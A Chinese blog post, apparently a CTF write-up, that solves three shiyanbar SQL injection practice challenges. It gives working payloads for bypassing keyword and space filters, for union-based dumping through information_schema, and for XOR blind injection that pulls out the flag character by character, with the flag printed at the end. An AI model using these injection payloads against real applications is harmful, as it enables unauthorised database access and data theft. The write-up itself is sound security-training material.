SQL注入

实验吧 简单的sql注入

链接: http://ctf5.shiyanbar.com/423/web/
解题思路:

一、输入1,不报错;输入1',报错;输入1'',不报错。

二、输入1 and 1=1,返回1 1=1,可知,and被过滤了。

三、输入1 union select,返回1 select,猜测关键词被过滤。

四、初步预计后台表为flag,字段名为flag,需要构造union select flag from flag来执行(也可以爆表名出来看看)。

五、注入语句为:1‘ union select flag from flag where ‘1’=’1。显示:1‘ flag flag ‘1’=’1,证明确实是过滤关键词

六、关键词写两遍提交:1‘ unionunion selectselect flag fromfrom flag wherewhere ‘1’=’1。显示:1‘ unionselectflag fromflag where‘1’=’1,空格被过滤

七、用/**/代替空格:1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1。
也可以输入1'  unionunion  selectselect  flag  fromfrom  flag  wherewhere  '1'='1(双空格)

注:爆库,表,列中where后的‘1’=‘1是为了使所有库,表,列被爆出且闭合单引号。

实验吧 简单的sql注入之2

链接: http://ctf5.shiyanbar.com/web/index_2.php
解题思路:

一、注入判断:输入1,返回正常;输入1',会报错。所以存在注入

二、过滤判断:
输入1 1,显示SQLi detected! 
输入1 union,显示SQLi detected! 
输入1union,返回正常
输入1/**/union,返回正常
判断空格被过滤
注:当过滤空格时,通常用()或/**/代替空格

三、用/**/代替空格,爆库:1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1。

四、爆表:1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1。
注:发现flag表,初步猜测后台表为flag,字段名为flag

五、最后一步:1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1。

实验吧 简单的sql注入之3

链接: http://ctf5.shiyanbar.com/web/index_3.php
解题思路:

一、通过 1' and '1'='1 返回正确, 1' and '1'='2 返回错误可知,当输入正确值的时候返回hello,输入错误值无显示

二、异或注入
证明异或注入的可行性:
1.输入1'^(1)# 时 两边为真 结果为假 所以页面不会返回
2.输入1'^(0)# 时 两边一假 结果为真 所以页面返回 hello 
接下来用  1'^(length('你要测试的字符')>0)#  就可以判断哪些字符被过滤了

三、爆数据库的长度
输入1'^(length(database())=n)# 更换n的值,当n=4时,页面不回显,说明数据库长度为4

四、爆库名
爆数据库名字的语句: 1'^(ascii(substr(database(),m,1))=n)#
库名长度为4,m就在1-4变化,手动改,n由于ascll码在1-127,用Intruder跑
最终得到了数据库名 web1

(四)解猜库名:
输入:1' and (select count(*) from aaa) > 0 #
返回:Table 'web1.aaa' doesn't exist
所以库名为web1

五、爆表名
1、爆表数
1'^((select count(table_name) from information_schema.tables where table_schema=database())=n)#    当n=2时返回的长度都和其他的不一样,所以这里得到表数为2
2、爆表的长度
1'^(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=n)# 这里长度为4
3.爆表名
1'^(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1),m,1))=n)# 
原理和爆库名一样,改m,n的长度,得到表名为flag

(五)盲猜表名
用Intruder跑,发现存在flag表

六、爆列
1' and (select 列名 from flag) > -1# 或1'union select 列名 from flag,放在burp中进行爆破
发现存在flag和id两列

七、爆字段长度
1'^(length((select flag from flag))=n)# 这里n=26

八、爆数据flag
1'^(ascii(substr((select flag from flag),m,1))=n)# 
n值按m排:102 108 97 103 123 89 48 117 95 64 114 51 95 53 79 95 100 65 109 110 95 57 48 79 100 125
对照ASCII表得到:
flag{Y0u_@r3_5O_dAmn_90Od}
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值